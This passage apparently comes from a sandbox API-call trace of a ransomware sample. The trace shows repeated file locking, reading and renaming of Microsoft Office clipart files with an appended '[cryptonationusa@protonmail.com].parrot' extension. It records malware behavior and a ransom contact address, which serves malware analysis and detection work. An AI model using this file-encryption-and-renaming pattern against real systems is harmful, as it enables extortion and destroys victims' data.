hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.391] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b00, lpOverlapped=0x0) returned 1 [0139.392] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.392] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.392] CloseHandle (hObject=0x288) returned 1 [0139.393] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.396] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1764, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.396] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.396] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.397] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.398] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x164c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x164c, lpOverlapped=0x0) returned 1 [0139.398] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.399] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1764, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.399] CloseHandle (hObject=0x288) returned 1 [0139.399] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.402] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9e3e, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.402] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.402] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.403] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.403] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9d26, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9d26, lpOverlapped=0x0) returned 1 [0139.405] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.406] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9e3e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.406] CloseHandle (hObject=0x288) returned 1 [0139.406] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.442] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x67a4, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.442] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.442] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.460] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.460] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x668c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x668c, lpOverlapped=0x0) returned 1 [0139.463] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.463] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x67a4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.463] CloseHandle (hObject=0x288) returned 1 [0139.464] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.468] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x85b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.468] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.468] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.469] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.469] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x849c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x849c, lpOverlapped=0x0) returned 1 [0139.471] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.471] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x85b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.471] CloseHandle (hObject=0x288) returned 1 [0139.472] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.477] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5dc6, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.477] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.477] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.494] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.495] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5cae, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5cae, lpOverlapped=0x0) returned 1 [0139.499] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.500] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5dc6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.500] CloseHandle (hObject=0x288) returned 1 [0139.501] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.505] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8978, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.505] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.505] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.507] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.507] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8860, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8860, lpOverlapped=0x0) returned 1 [0139.509] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.509] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8978, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.510] CloseHandle (hObject=0x288) returned 1 [0139.510] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.536] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x673c, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.536] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.536] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.537] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.537] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6624, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6624, lpOverlapped=0x0) returned 1 [0139.540] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.541] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x673c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.541] CloseHandle (hObject=0x288) returned 1 [0139.541] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.545] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3de6, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.545] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.545] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.547] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.547] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3cce, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3cce, lpOverlapped=0x0) returned 1 [0139.548] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.548] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3de6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.548] CloseHandle (hObject=0x288) returned 1 [0139.548] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.552] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd7cc, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.552] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.552] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.554] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.554] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd6b4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd6b4, lpOverlapped=0x0) returned 1 [0139.556] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.557] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd7cc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.557] CloseHandle (hObject=0x288) returned 1 [0139.557] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.560] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa638, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.560] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.560] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.562] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.562] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa520, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa520, lpOverlapped=0x0) returned 1 [0139.566] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.567] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa638, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.567] CloseHandle (hObject=0x288) returned 1 [0139.567] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.570] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa4ca, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.570] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.570] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.576] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.576] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa3b2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa3b2, lpOverlapped=0x0) returned 1 [0139.583] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.584] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa4ca, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.584] CloseHandle (hObject=0x288) returned 1 [0139.584] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.588] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa7b6, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.588] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.588] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.591] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.591] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa69e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa69e, lpOverlapped=0x0) returned 1 [0139.595] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.596] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa7b6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.596] CloseHandle (hObject=0x288) returned 1 [0139.596] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.599] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x70b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.599] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.599] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.608] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.608] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6f9c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6f9c, lpOverlapped=0x0) returned 1 [0139.611] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.613] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x70b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0139.613] CloseHandle (hObject=0x288) returned 1 [0139.613] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0139.618] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9e84, nNumberOfBytesToLockHigh=0x0) returned 1 [0139.618] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0139.618] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0139.620] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.620] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9d6c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9d6c, lpOverlapped=0x0) returned 1 [0139.642] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 